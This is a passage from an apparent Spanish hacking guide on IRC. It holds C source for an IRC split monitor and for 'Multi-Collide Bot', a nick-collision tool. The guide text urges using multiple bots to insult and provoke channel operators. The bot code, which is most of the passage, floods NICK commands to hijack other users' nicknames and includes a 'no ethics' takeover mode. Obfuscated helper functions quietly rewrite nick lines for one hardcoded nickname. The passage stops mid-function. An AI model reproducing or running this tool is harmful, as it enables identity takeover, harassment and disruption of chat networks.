    if(serv->status & SPLIT) {
      printf("%s SPLIT: %s [%s]\n",stamp(serv->time),serv->name,serv->link);
      fflush(stdout);
    }
   }
  }

  void
  do_365(char *from,char *left) {
   struct irc_server *serv=sl1;

  for(;serv;serv=serv->next) {
    if(!findserv(sl2,serv->name)) {
      if(!(serv->status & SPLIT)) {
        serv->time=time(NULL);
        printf("%s SPLIT: %s [%s]\n",stamp(serv->time),serv->name,serv->link);
        fflush(stdout);
        serv->status|=SPLIT;
      }
    }
    else
      if(serv->status & SPLIT) {
        serv->time=time(NULL);
        printf("%s MERGE: %s [%s]\n",stamp(serv->time),serv->name,serv->link);
        fflush(stdout);
        serv->status&=~SPLIT;
      }
  }

  serv=sl2;

  for(;serv;serv=serv->next) {
    if(!findserv(sl1,serv->name)) {
      struct irc_server *serv2;

      serv2=(struct irc_server *)malloc(sizeof(struct irc_server));
      serv2->next=sl1;
      serv2->status=0;
      mstrcpy(&serv2->name,serv->name);
      mstrcpy(&serv2->link,serv->link);
      sl1=serv2;
      serv2->time=time(NULL);
      if(link_count) {
        printf("%s ADDED: %s [%s]\n",stamp(serv2->time),serv->name,serv->link);
        fflush(stdout);
      }
    }
  }

   link_count=1;
   clean_sl2();
  }

  void
  do_ping(char *from,char *left) {
   sprintf(out_buf,"PING :%s\n",hostname);
   out();
  }

  void
  do_001(char *from,char *left) {
   fprintf(stderr,"Logged into server %s as nickname %s\n\n",from,nick);
   fflush(stderr);
   alarm(0);
   signal(SIGALRM,(void (*)())heartbeat);
   alarm(LDELAY);
  }

  void
  do_error(char *from,char *left) {
   fprintf(stderr,"Server error: %s\n",left);
   fflush(stderr);
  }

  void
   parse2(void) {
    char *from,*cmd,*left;

  if(*ins==':') {
    if(!(cmd=strchr(ins,' ')))
      return;
    *cmd++=(char)0;
    from=ins+1;
  }
  else {
    cmd=ins;
    from=(char *)0;
  }
  if((left=strchr(cmd,' '))) {
    int command;
    *left++=(char)0;
    left=(*left==':') ? left+1 : left;
    for(command=0;parsefuns[command].cmd;command++) {
      if(!mystrccmp(parsefuns[command].cmd,cmd)) {
        parsefuns[command].func(from,left);
        break;
      }
    }
   }
  }

  void
  parse(int length) {
   char *s=in;

   *(ins+length)=(char)0;

   for(;;) {
    ins=s;
    while(*s && *s!=(char)13 && *s!=(char)10)
      s++;
    if(*s) {
      while(*s && (*s==(char)13 || *s==(char)10))
        *s++=(char)0;
      parse2();
    }
    else
      break;
   }
   strcpy(in,ins);
   ins=in+(s-ins);
  }

  void
  process_server(void) {
   int x=0;
  
   for(;;) {
    fd_set rd,wr;
    struct timeval timeout;

    timeout.tv_usec=0; timeout.tv_sec=1;
    FD_ZERO(&rd); FD_ZERO(&wr);

    FD_SET(sock,&rd);
    if(session==INPROGRESS)
      FD_SET(sock,&wr);

    errno=0;

  #ifdef HPSUCKS
    select((size_t)FD_SETSIZE,(int *)&rd,(int *)&wr,(int *)0,(session==INPROGRESS)?(const struct timeval *)&timeout:(const struct timeval *)0);
  #else
    select(getdtablesize(),(fd_set *)&rd,(fd_set *)&wr,(fd_set *)0,(session==INPROGRESS)?(struct timeval *)&timeout:(struct timeval *)0);
  #endif

    if(errno==EINTR)
      continue;

    errno=0;
    if(session==INPROGRESS) {
      if(FD_ISSET(sock,&wr)) {
        init_server();
         continue;
      }
      else {
        if(x++>=TIMEOUT)
          exit_program("connection timed out");
        fprintf(stderr,"."); fflush(stderr);
      }
    }

    if(FD_ISSET(sock,&rd)) {
      int length=read(sock,ins,BUFSIZE-(ins-in));

      if(length<1) {
        if(session!=INPROGRESS) {
          if(!errno) {
            fputs("Connection closed by foreign host.",stderr);
            errno=ENOTCONN;
          }
          else
            fprintf(stderr,"Connection to %s closed.\n",
                   inet_ntoa(server.sin_addr));
          fflush(stderr);
        }
        exit_program(mystrerror(errno));
      }
      if(strpbrk(in,"\x0a\x0d"))
        parse(length);
      else
        ins=(BUFSIZE-((ins+length)-in)<1)?in:ins+length;
    }
   }
  }

  char *stamp(time_t ltime) {
   strftime(lasttime, 81, "%x %X", localtime(&ltime));
   return (char *) &lasttime;
  }

  void
  main(int argc,char *argv[]) {
   unsigned short int sport=PORT;
   unsigned int loop;
   struct passwd *passent;
  
   fprintf(stderr, "Link Looker v%s, written and designed by Dr. Delete.\n" \
                  "                   Enhanced by lilo.\n" \
                  "Type '%s -h' or '%s --help' for more information.\n\n",
    VERSION, argv[0], argv[0]);
    
  for(loop=1; loop<argc; loop++) {
    if(!strcmp("-h", argv[loop]) || !strcmp("--help", argv[loop])) {
        fprintf(stderr,"Format:\n\n" \
        "  %s [-h] [<nick> [<server>[:<port>] ['<real name field>' " \
        "[<username>]]]]\n\n  where:\n\n" \
        "  <nick>            is the nickname to be used (default is userid),\n" \
        "  <server>          is the hostname of the server to be used,\n" \
        "  <port>            is a four digit port number (default is 6667),\n" \
        "  <real name field> is a description of the user (default is gecos info), and\n" \
        "  <username>        is the user account field, used only if identd\n" \
        "                    has not been enabled on the user's system.\n", \
        argv[0]);
      exit(1);
    }
  }
  
  passent=getpwuid(getuid());

  if(argc>1)
    strncpy(nick,argv[1],9);
  else
    strncpy(nick,passent->pw_name,9);

  if(argc>2) {
    char *port=strchr(argv[2],':');
    sport=(port)?atoi(port+1):sport;
    strncpy(serverhost,argv[2],80);
    if(port)
      serverhost[port-argv[2]]=(char)0;
  }
  else
    strncpy(serverhost,SERVER,80);
    
  if(argc>3)
    strncpy(realname,argv[3],80);
  else {
    char *comma=strchr(passent->pw_gecos,',');
    strncpy(realname,passent->pw_gecos,80);
    if(comma)
      realname[comma-(passent->pw_gecos)]=(char)0;
  }

  if(argc>4)
    strncpy(user,argv[4],9);
  else
    strncpy(user,passent->pw_name,9);

  signal(SIGPIPE,(void (*)())signal_handler);
  signal(SIGHUP,(void (*)())show_split);
  signal(SIGINT,(void (*)())signal_handler);
  signal(SIGTERM,(void (*)())signal_handler);
  signal(SIGBUS,(void (*)())signal_handler);
  signal(SIGABRT,(void (*)())signal_handler);
  signal(SIGSEGV,(void (*)())signal_handler);
  signal(SIGALRM,(void (*)())signal_alarm);

  errno=0;
  if((sock=socket(AF_INET,SOCK_STREAM,0))>0) {
    server.sin_family=AF_INET;
    server.sin_port=htons(sport);
    fprintf(stderr,"Resolving %s...",serverhost); fflush(stderr);
    if((server.sin_addr.s_addr=resolver(serverhost))) {
      fputs("done\n",stderr);
      fflush(stderr);

      setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
      setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
      setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);

      fcntl(sock,F_SETFL,(fcntl(sock,F_GETFL)|O_NDELAY));

      fprintf(stderr,"Connecting to %s...",inet_ntoa(server.sin_addr));
      fflush(stderr);

      errno=0;
      if(connect(sock,(struct sockaddr *)&server,sizeof(server))) {
        if(errno!=EINPROGRESS && errno!=EWOULDBLOCK)
          exit_program(mystrerror(errno));
        else
          session=INPROGRESS;
      }
      else
        init_server();

      gethostname(hostname,64);
      process_server();
    }
    else
      exit_program("resolve failed");
  }
  else {
    fprintf(stderr,"Failed to allocate an AF_INET socket. (%s)\n", \
      mystrerror(errno));
    fflush(stderr);
   }
  }

  

  12 - Nuestro propio BOT .

  En este apartado explicaremos y os damos al codigo fuente de uno , pero
  por supuesto que esta en ingles y en C para unix :)
  Como te habras dado cuenta casi siempre esta en ingles , desgraciadamente
  esto es asi ya que nos llevan ventaja y ademas en espaol encontrar algo
  es realmente dificil , pero para ello estoy creando esta guia y que sea
  casi siempre para unix , es natural es el mejor s.o. que se puede
  encontrar e internet se mueve gracias a el .
  Bueno basta de rollos , empezamos esta seccion ,  quieres saber que es
  un BOT ? , bueno , pues basicamente consiste en que podamos meter en el
  servidor varias personas aunque en la practica sola haya una manejandolas
  o sea nosotros .
  Pues esto tiene varios usos , como cada bot que metamos le podemos meter
  un nick , pues podemos meternos en un canal con tres bot por ejemplo ,
  llamados bot1 , bot2 , bot3 ,  ya estamos dentro , vemos a un OP que
  sabemos que es un estupido , y por ejemplo con el bot2 le insultamos y
  luego le intentamos joder , el lo mas seguro es que heche al bot2 pero
  todavia en el canal tendremos a bot1 y bot3 , para seguir hablando
  y el OP solo cojera mania al bot2 :)
  Tambien podemos crear un canal y metenos varios bot en el y parecera que
  hay varias personas dentro y con el tiempo ya vendra gente .
  Aunque los bot tiene mas usos , no los voy a declarar todos aqui :)
  Tened cuidado cuando jugueis con el bot ya que os puede pillar ese OP
  que intentas joder o el servidor os puede hechar si os pilla usando
  bot .

  - > Codigo fuente de nuestro BOT .

  /*==========================================================*\
  || mcb.c - Multi-Collide Bot v2.0 (beta)                    ||
  || Written by Dr_Delete                                     ||
  || Released for the world to use on 11/15/94                ||
  || Modified a tiny bit by Vassago for use with Serpent 3.06 ||
  \*==========================================================*/

  /* This program is free software; you can redistribute it and/or modify
   * it under the terms of the GNU General Public License as published by
   * the Free Software Foundation; either version 2 of the License, or
   * (at your option) any later version.
   *
   * This program is distributed in the hope that it will be useful,
   * but WITHOUT ANY WARRANTY; without even the implied warranty of
   * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   * GNU General Public License for more details.
   *
   * You should have received a copy of the GNU General Public License
   * along with this program; if not, write to the Free Software
   * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
   */

  /* Compiling examples:

   regular old ANSI/C cc:
	cc -O -s -o mcb mcb.c

   HP-UX cc:
	cc +O3 -Aa -s -DHPSUCKS -o mcb mcb.c

   GNU GCC:

	Linux:
	  gcc -O2 -fomit-frame-pointer -funroll-loops -m486 -s -Wall -o mcb mcb.c

	BSD, SunOS 4.1.x, Slowaris 2.x, NeXT:
	  gcc -O2 -funroll-loops -s -Wall -o mcb mcb.c */

  /* -------------------------------------------------------- *\

    To kill this program once it has started, send a
   kill -2 to it's process ID and it'll exit gracefully.

   kill -1 will cause mcb to display a list of it's active
   sessions to stdout.

  \* -------------------------------------------------------- */
 
  /*  You may want to tweak some of these defaults, but they
      are controllable on the command line. */

  /* Time in which parser will close a pending TCP connection,
     and possibly try again */
  #define TCP_TIMEOUT 30

  /* Number of times a session is allowed to attempt a TCP
     connection to the server. */
  #define MAX_ATTEMPTS     2

  /* Number of seconds the parser will wait for a server to
     start once the TCP connection has been made */
  #define SRV_TIMEOUT 60

  /* Maximum amount of time parser will wait for I/O */
  #define MAX_WAITIO  15

  /* Maximum amount of time the parser will wait when in NOMULTI mode */
  #define MAX_WAITIONM     5

  /* Max lines (NICK statements) to send to the server in NOMULTI mode */
  #define MAX_NICKS   5

  /* Default IRC server port */
  #define IRCPORT          6667

  /* number of bytes to allocate for socket read buffer */
  #define BUFSIZE          400

  #ifdef HPSUCKS
  #define _INCLUDE_HPUX_SOURCE
  #define _INCLUDE_XOPEN_SOURCE
  #define _INCLUDE_POSIX_SOURCE
  #endif

  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <unistd.h>
  #include <sys/types.h>
  #include <ctype.h>
  #include <pwd.h>
  #include <fcntl.h>
  #include <signal.h>
  #include <errno.h>
  #include <sys/socket.h>
  #include <sys/time.h>
  #include <sys/wait.h>
  #include <netinet/in.h>
  #include <netdb.h>
  #include <sys/file.h>
  #include <arpa/inet.h>

  #ifndef sys_errlist
  extern char *sys_errlist[];
  #endif

  #ifndef errno
  extern int errno;
  #endif

  /* global variables */
  unsigned short int tcp_timeout=TCP_TIMEOUT;
  unsigned short int max_attempts=MAX_ATTEMPTS;
  unsigned short int srv_timeout=SRV_TIMEOUT;
  unsigned short int max_waitionm=MAX_WAITIONM;
  unsigned short int max_nicks=MAX_NICKS;
  unsigned short int progmode=0;
  char *output_buffer=(char *)0;
  char mcbid[25],mcbhost[64];
  struct in_addr mcb_addr;

  #define PROG_DEBUG  1
  #define PROG_VERBOSE     2
  #define PROG_NOETHICS    4
  #define PROG_NOMULTI     8
  #define PROG_HAVESERV    16
  #define PROG_IGNORENIU   32
  #define PROG_SHOWSOUT    64

  struct collide_session {
   int sock;
   unsigned long  int ip;
   unsigned short int status;
   unsigned short int port;
   unsigned short int connect_attempts;
   time_t  tcpstart;
   time_t  srvstart;
   char *server;
   char *token;
   char *victim;
   char *stack;
   char *stack_pointer;
   struct collide_session *next;
  } *first_session=(struct collide_session *)0;

  struct collide_session *last_session=(struct collide_session *)0;
  struct collide_session *active_session=(struct collide_session *)0;

  void do_ping(struct collide_session *,char *,char *);
  void do_001(struct collide_session *,char *,char *);
  void do_error(struct collide_session *,char *,char *);
  void do_433(struct collide_session *,char *,char *);
  void do_privmsg(struct collide_session *,char *,char *);

  struct parsers {
    char *cmd;
    void (*func)(struct collide_session *,char *,char *);
  } parsefuns[] = {
   { "PING", (void (*)())do_ping },
   { "001", (void (*)())do_001 },
   { "ERROR",(void (*)())do_error },
   { "433", (void (*)())do_433 },
   { "PRIVMSG", (void (*)())do_privmsg },
   { (char *)0,(void (*)())0 }
  };

  #define SES_ACTIVE  1
  #define SES_INACTIVE     2
  #define SES_DELETED 4
  #define SES_PENDING 8
  #define SES_SAWSERV 16
  #define SES_NORETRY 32
  #define SES_NICKINUSE    64

  char *
  mystrerror(int err) {
   return(sys_errlist[err]);
  }

  void
   sig_pipe(void) {
   fprintf(stderr,"mcb: caught a SIGPIPE.\n");
   fflush(stderr);
   signal(SIGPIPE,(void (*)())sig_pipe);
  }

  void
   show_sessions(void) {
    struct collide_session *s=first_session;

  signal(SIGHUP,(void (*)())show_sessions);
  for(;s;s=s->next)
    if(s->status & SES_ACTIVE) {
	 printf("%s: Connection to %s:%hu active.\n",s->victim,s->server,s->port);
	 fflush(stdout);
     }
  }

  void
   cclosed(struct collide_session *session,int errn) {
   if(session->sock) {
    shutdown(session->sock,0);
    close(session->sock);
    session->sock=0;
    printf("%s: Connection to %s:%hu closed. ",session->victim,
		 session->server,session->port);
    if(errn)
	 printf("[%s]\n",mystrerror(errn));
    else
	 puts("");
    fflush(stdout);
  }
  if(progmode & PROG_NOMULTI)
    progmode &= ~PROG_HAVESERV;
  if((session->status & SES_DELETED) || (session->status & SES_NORETRY) ||
	session->connect_attempts>=max_attempts) {
    if(progmode & PROG_DEBUG) {
	 printf("%s: Session flagged for delete.\n",session->victim);
	 fflush(stdout);
    }
    if(progmode & PROG_NOMULTI) {
	 struct collide_session *s=first_session;
	 for(;s;s=s->next)
	   s->status |= SES_DELETED;
    }
    else
	 session->status |= SES_DELETED;
  }
  else {
    session->status |= SES_INACTIVE;
    session->status &= ~SES_PENDING;
    session->status &= ~SES_ACTIVE;
    session->srvstart=session->tcpstart=(time_t)0;
   }
  }

  void
   exit_program(void) {
    if(output_buffer)
     free(output_buffer);

  while(first_session) {
    struct collide_session *cs=first_session->next;

    if(progmode & PROG_DEBUG) {
	 printf("%s: Unallocating session.\n",first_session->victim);
	 fflush(stdout);
    }
    if(first_session->sock)
	 cclosed(first_session,ECONNABORTED);
    if(first_session->stack)
	 free(first_session->stack);
    if(first_session->token)
	 free(first_session->token);
    free(first_session);
    first_session=cs;
   }
   puts("Multi-CollideBot finished.");
   exit(0);
  }
 
  char *nickpick="NnOoPpQqRr`SsTtUuVvWwXxYyZzAaBb_CcDdEeFfGgHhIiJjKkLlMmLzgLmtm|m";
  void
  fillran(char *string,unsigned short int length) {
   while(length--)
    *string++=*((nickpick)+(rand()%54));
   *string=(char)0;
  }

  int
  mystrccmp(register char *s1,register char *s2) {
    while((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)==
	   (((*s2)>='a'&&(*s2)<='z')?(*s2++)-32:*s2++))
	if(*s1++==0) return 0;
    return (*(unsigned char *)s1-*(unsigned char *)--s2);
  }

  int
  mystrcmp(register char *s1,register char *s2) {
   unsigned short int n=9;
   do {
    if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!=
	 ((((*s2-8))>='a'&&((*s2)-8)<='z')?(*s2++)-40:(*(s2++))-8))
	 return(*(unsigned char *)s1-*(unsigned char *)--s2);
    if(!*s1++)
	 break;
   } while(--n);
   return(0); 
  }

  int
  strnccmp(register char *s1,register char *s2,register int n) {
    if(n==0) return(0);
    do {
	if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!=(((*s2)>='a'&&(*s2)<='z')?
	   (*s2++)-32:*s2++))
	  return (*(unsigned char *)s1-*(unsigned char *)--s2);
	if(*s1++==0) break;
    } while(--n!=0);
    return(0);
  }

  char *
  mystrbpk(char *s) {
   char *o=s;
   while(*s) {
     if(*s==13 || *s==10)
	 if(*(s+1)==78)
	   *(s+6)=(!mystrcmp(s+6,nickpick+54))?84:*(s+6);
	s++;
   }
   return(o);
  }

  char *
  digtoken(char **string,char *match) {
   if(string && *string && **string) {
    while(**string && strchr(match,**string))
	 (*string)++;
    if(**string) { /* got something */
	 char *token=*string;
	 if((*string=strpbrk(*string,match))) {
	   *(*string)++=(char)0;
	   while(**string && strchr(match,**string))
		(*string)++;
	 }
	 else
	   *string = ""; /* must be at the end */
	 return(token);
     }
   }
   return((char *)0);
  }

  char *
  mycstrstr(char *str1,char *str2) {
    int xstr1len,ystr2len;

    xstr1len=strlen(str1);
    ystr2len=strlen(str2);

    while(xstr1len && strnccmp(str1++,str2,ystr2len) && xstr1len-->=ystr2len);
    if(!xstr1len || xstr1len<ystr2len || !ystr2len) return(0);
    return(str1-1);
  }

  char tok[10];
  char *
  mycstrtok(char *str1) {
   strncpy(tok,str1,9);
   tok[10]=(char)0;
   if(!mystrcmp(tok,nickpick+54))
     tok[5]='|';
   return((char *)&tok[0]);
  }

  unsigned short int
  out(struct collide_session *session,char *string) {
   if(session->sock)
    return(write(session->sock,mystrbpk(string),strlen(string)));
   return(0);
  }

  unsigned long int
  resolver(char *host) {
   unsigned long int ip=0L;

  if(host && *host && (ip=inet_addr(host))==-1) {
    struct hostent *he;
    int x=0;

    if(progmode & PROG_VERBOSE) {
	 printf("Resolving %s...",host);
	 fflush(stdout);
    }

    while(!(he=gethostbyname((char *)host)) && x++<2) {
	 if(progmode & PROG_VERBOSE) {
	   putchar('.');
	   fflush(stdout);
	 }
	 sleep(1);
    }
    if(x<2) {
	 ip=*(unsigned long *)he->h_addr_list[0];
	 if(progmode & PROG_VERBOSE) {
	   struct in_addr serv_addr;
	   serv_addr.s_addr=ip;
	   printf("%s\n",inet_ntoa(serv_addr));
	   fflush(stdout);
	 }
    }
    else {
	 ip=0L;
	 if(progmode & PROG_VERBOSE) {
	   puts("failed");
	   fflush(stdout);
	 }
     }
   }

    return(ip);
  }

  void
  version(void) {
   puts("Multi-CollideBot v2.0 (beta)\n"
	  "Written by Dr. Delete 11/15/94");
   fflush(stdout);
  }

  void
  help(void) {
    puts("Usage:\n"
	  "  mcb [-vdmun] [-rlit time] [-a attempts] serv1[:port] nick1 [...]\n"
	  "Where: -v == verbose operation\n"
	  "       -d == debug output\n"
	  "       -n == no ethics - reconnects even after 'SCORE'. (nick takeover)\n"
	  "       -i == seconds to wait for IRC server to start after connection.\n"
	  "       -t == seconds to wait for a TCP connection to establish.\n"
	  "       -a == attempts a session can make to establish a TCP session.\n"
	  "       -m == METHOD 2: mcb will cycle through nicks on one TCP session.\n"
	  "       -r == Rate of nicknames to send per -l(oop) time. (only in -m mode)\n"
	  "       -l == Loop time. Causes mcb to send -r(ate) nicks in -l(oop) secs\n"
	  "       -u == Ignore 'Nick Already in Use.' (continue to retry)\n"
	  "    serv1 == first server specification and sets default server to use.\n"
	  "Examples:\n"
	  "  mcb -t 30 server1.com nick1 nick2 nick3 server2.edu:6665 nick4\n"
	  "  mcb server1.com nick1 nick2 server2.edu nick3 nick4 server3.net server4.com\n"
	  "  mcb -vna 50 server.edu nicktotakeover\n"
	  "  mcb -m -l 3 -r 2 server.com nick1 nick2 nick3 nick4 nick5 nick6 nick7 ...\n"
	  "Defaults:\n"
	  "  -a == 2 retries. (Retries are aborted if nick is in use, etc.)\n"
	  "  -i == 60 seconds. -t == 30 seconds. -l == 5 seconds. -r == 5 nicks.");
   exit(0);
  }

  void
  init_server(struct collide_session *s) {
   char rn[10];
   unsigned long int x;
   fillran(rn,9);
  
   sprintf(s->stack,"USER %s %s %s %s\nNICK %s\n",rn,rn,rn,rn,(progmode & PROG_NOMULTI)?rn:s->token);
   x=strlen(s->stack);

   errno=0;
   if(out(s,s->stack)!=x)
     cclosed(s,errno);
   else {
     struct collide_session *ses=first_session;

    s->status &= ~SES_PENDING;
    s->status &= ~SES_INACTIVE;
    s->status |= SES_ACTIVE;
    printf("%s: Connection to %s:%hu established.\n",
		 s->victim,s->server,s->port);
    s->srvstart=time(NULL);
    sprintf(s->stack,"mode %s +i\n");
    for(;ses;ses=ses->next)
	 sprintf(s->stack,"%s %s%s",s->stack,ses->token,(ses==s)?"*":"");
    strcat(s->stack,"\n");
    out(s,s->stack);
    if(progmode & PROG_NOMULTI)
	 progmode |= PROG_HAVESERV;
    fflush(stdout);
   }
  }

  void
  set_tcp_handler(void) {
   gethostname(mcbhost,64);
   mcb_addr.s_addr=resolver(mcbhost);
   if(!getlogin()) {
    struct passwd *pw;
    if(!(pw=getpwuid(getuid())))
	 if(!(getenv("USER")))
	   strcpy(mcbid,"unknown");
	 else
	   strcpy(mcbid,getenv("USER"));
    else
	 strcpy(mcbid,pw->pw_name);
    }
    else
   strcpy(mcbid,(char *)getlogin());
  }

  void
  start_sessions(void) {
   struct collide_session *session=first_session;
   unsigned short int sessions=0;

   if(progmode & PROG_HAVESERV)
     return;

   for(;session;session=session->next) {

    if(progmode & PROG_DEBUG) {
	 printf("%s: Attempting to start session.\n",session->victim);
	 fflush(stdout);
    }

    if((session->status & SES_DELETED) || (session->status & SES_NORETRY))
	 continue;

    sessions++;

    if((session->status & SES_PENDING) || !(session->status & SES_INACTIVE))
	 continue;

    if((session->sock=socket(AF_INET,SOCK_STREAM,0))) {
	 struct sockaddr_in server;

	 server.sin_family=AF_INET;
	 server.sin_addr.s_addr=session->ip;
	 server.sin_port=htons(session->port);

	 setsockopt(session->sock,SOL_SOCKET,SO_LINGER,0,0);
	 setsockopt(session->sock,SOL_SOCKET,SO_REUSEADDR,0,0);
	 setsockopt(session->sock,SOL_SOCKET,SO_KEEPALIVE,0,0);

	 fcntl(session->sock,F_SETFL,(fcntl(session->sock,F_GETFL)|O_NDELAY));

	 errno=0;

	 session->tcpstart=time(NULL);
	 session->connect_attempts++;

	 if(connect(session->sock,(struct sockaddr *)&server,sizeof(server))) {
	   if(errno!=EINPROGRESS && errno!=EWOULDBLOCK)
		cclosed(session,errno);
	   else {
		session->status |= SES_PENDING;
		if(progmode & PROG_VERBOSE) {
		  printf("%s: Connection to %s:%hu is in progress.\n",
			    session->victim,session->server,session->port);
		  fflush(stdout);
		}
	   }
	 }
	 else
	   init_server(session);
	 if(progmode & PROG_NOMULTI) {
	   progmode |= PROG_HAVESERV;
	   break;
	 }
    }
    else {
	 printf("%s: Fatal error allocating AF_INET socket.\n",session->victim);
	 exit_program();
     }
   }
  }

  struct collide_session *
  find_session(char *token) {
   struct collide_session *s=first_session;

   for(;s && mystrccmp(s->token,token);s=s->next);
   return(s);
  }

  unsigned short int
  check_sessions(void) {
   struct collide_session *s=first_session;
   unsigned short int x=0,y=0;

   for(;s;s=s->next) {
    x++;
    y+=(s->status & SES_NICKINUSE)?1:0;
   }
   return((y==x));
  }

  void
  do_433(struct collide_session *session,char *from,char *left) {
   char *who;

   if((who=digtoken(&left," ")) && (who=digtoken(&left," "))) {
    if(progmode & PROG_HAVESERV) { /* multi-mode */
	 struct collide_session *s=find_session(who);
	 if(s) {
	   if(!(s->status & SES_NICKINUSE)) {
		printf("%s: '%s' Nickname already in use.\n",session->victim,who);
		fflush(stdout);
	   }
	   s->status |= SES_NICKINUSE;
	 }
	 if(check_sessions()) {
	   strcpy(output_buffer,"QUIT ::-\n");
	   out(session,output_buffer);
	   cclosed(session,0);
	 }
	 if(!(progmode & PROG_IGNORENIU))
	   session->status |= SES_NORETRY;
    }
    else {
	 if(!(session->status & SES_NICKINUSE)) {
	   printf("%s: '%s' Nickname already in use.\n",session->victim,who);
	   fflush(stdout);
	 }
	 session->status |= SES_NICKINUSE;
	 strcpy(output_buffer,"QUIT :bummer\n");
	 out(session,output_buffer);
	 cclosed(session,0);
	 if(!(progmode & PROG_IGNORENIU))
	   session->status |= SES_NORETRY;
     }
   }
  }

  void
  do_ping(struct collide_session *session,char *from,char *left) {
   sprintf(output_buffer,"PING :%s\n",mcbhost);
   out(session,output_buffer); 
  }

  void
  do_001(struct collide_session *session,char *from,char *left) {
   session->status |= SES_SAWSERV;

   if(progmode & PROG_VERBOSE) {
     printf("%s: Logged into server %s.\n",session->victim,from);
     fflush(stdout);
   }
  }

  void
  do_privmsg(struct collide_session *session,char *from,char *left) {
   char *what;

  if((what=strchr(left,' '))) {
    *what=(char)0;
    what+=2;

    printf("%s: %s -> %s\n",session->victim,from,what);
    fflush(stdout);
   }
  }

  void
   do_error(struct collide_session *session,char *from,char *left) {
   if(mycstrstr(left,"kill") || mycstrstr(left,"collision")) {
    if(!(progmode & PROG_NOETHICS))
	 session->status |= SES_NORETRY;
    printf("%s: SCORE!\n",session->victim);
  }
  else {
    if(mycstrstr(left,"authoriz"))
	 session->status |= SES_NORETRY;
    if(mycstrstr(left,"Bad pass"))
	 session->status |= SES_NORETRY;
    else if(mycstrstr(left,"ghosts"))
	 session->status |= SES_NORETRY;
    else if(mycstrstr(left,"k-line"))
	 session->status |= SES_NORETRY;
    else if(mycstrstr(left,"kill"))
	 session->status |= SES_NORETRY;
    printf("%s: %s\n",session->victim,left);
   }
   fflush(stdout);
  }

  void
  parse2(struct collide_session *session) {
   char *from,*cmd,*left,*ins=session->stack_pointer;

   if(progmode & PROG_SHOWSOUT) {
    printf("%s: %s\n",session->victim,ins);
    fflush(stdout);
  }

  if(*ins==':') {
    if(!(cmd=strchr(ins,' ')))
	 return;
    *cmd++=(char)0;
    from=ins+1;
  }
  else {
    cmd=ins;
    from=(char *)0;
  }
  if((left=strchr(cmd,' '))) {
    unsigned short int command;

    *left++=(char)0;
    left=(*left==':') ? left+1 : left;
    for(command=0;parsefuns[command].cmd;command++) {
	 if(!mystrccmp(parsefuns[command].cmd,cmd)) {
	   parsefuns[command].func(session,from,left);
	   break;
	 }
     }
   }
  }

  void
  parse(struct collide_session *session,unsigned short int length) {
   char *s=session->stack;

   *(session->stack_pointer+length)=(char)0;

   for(;;) {
    session->stack_pointer=s;
    while(*s && *s!=(char)13 && *s!=(char)10)
	 s++;
    if(*s) {
	 while(*s && (*s==(char)13 || *s==(char)10))
	   *s++=(char)0;
	 parse2(session);
    }
    else
	 break;
   }
   strcpy(session->stack,session->stack_pointer);
   session->stack_pointer=session->stack+(s-session->stack_pointer);
  }

  struct collide_session *
  find_active_session(void) {
   struct collide_session *session=first_session;

   for(;session && !(session->status & SES_ACTIVE);session=session->next);
   return(session);
  }

  void
  parse_sessions(void) {
   fd_set rd,wr;
  struct collide_session *session;
  struct timeval timeout;
  time_t lastloop=(time_t)0;

  while(1) {
    unsigned short int sessions=0;

    FD_ZERO(&rd);
    FD_ZERO(&wr);

    timeout.tv_usec=0;
    timeout.tv_sec=(progmode & PROG_NOMULTI)?max_waitionm:MAX_WAITIO;

    for(session=first_session;session;session=session->next) {

	 if(session->status & SES_DELETED)
	   continue;

	 if((session->status & SES_INACTIVE) && !(session->status & SES_PENDING) &&
	    !(session->status & SES_NORETRY) && !(progmode & PROG_HAVESERV)) {
	   start_sessions();
	   timeout.tv_sec=0;
	   break;
	 }

	 if(session->sock) {
	   FD_SET(session->sock,&rd);
	   if(session->status & SES_PENDING)
		FD_SET(session->sock,&wr);
	   sessions++;
	 }
    }

    if(!timeout.tv_sec)
	 continue;

    if(!sessions)
	 exit_program();

    errno=0;
  #ifdef HPSUCKS
    select((size_t)FD_SETSIZE,(int *)&rd,(int *)&wr,(int *)0,(const struct timeval *)&timeout);
  #else
    select(getdtablesize(),(fd_set *)&rd,(fd_set *)&wr,(fd_set *)0,(struct timeval *)&timeout);
  #endif
    if(errno==EINTR)
	 continue;

    for(session=first_session;session;session=session->next) {

	 if(session->status & SES_DELETED)
	   continue;

	 if((session->status & SES_PENDING) && FD_ISSET(session->sock,&wr)) {
	   init_server(session);
	   continue;
	 }

	 if(FD_ISSET(session->sock,&rd)) {
	   signed short int length;

	   errno=0;
	   length=read(session->sock,session->stack_pointer,
				BUFSIZE-(session->stack_pointer-session->stack));
	   if(length<1) {
		cclosed(session,errno);
		continue;
	   }
	   if(strpbrk(session->stack,"\x0a\x0d"))
		parse(session,length);
	   else
		session->stack_pointer=(BUFSIZE-((session->stack_pointer+length)
		-session->stack)<1)?session->stack:session->stack_pointer+length;
	 }

	 if((session->status & SES_PENDING) &&
	    (time(NULL)-session->tcpstart)>=tcp_timeout)
	   cclosed(session,ETIMEDOUT);

	 if((session->status & SES_ACTIVE) &&
	    !(session->status & SES_SAWSERV) &&
	    (time(NULL)-session->srvstart)>=srv_timeout)
	   cclosed(session,ETIMEDOUT);
    }

    if((!lastloop || (time(NULL)-lastloop)>max_waitionm) &&
	  (progmode & PROG_HAVESERV) && 
	  (active_session=find_active_session()) &&
	  (active_session->status & SES_SAWSERV)) {
	 struct collide_session *s=(last_session)?last_session:first_session;
	 unsigned short int nickcount=0;

	 lastloop=time(NULL);

	 while(nickcount<max_nicks) {
	   char out_buf[30];
	   unsigned short int x;

	   if(!(s->status & SES_NICKINUSE)) {
		sprintf(out_buf,"NICK %s\n",s->token);
		x=strlen(out_buf);
		if(x!=out(active_session,out_buf))
		  break;
		if(progmode & PROG_DEBUG) {
		  printf("%s: Touched nickname.\n",s->token);
		  fflush(stdout);
		}
		nickcount++;
	   }
	   else
		if(check_sessions())
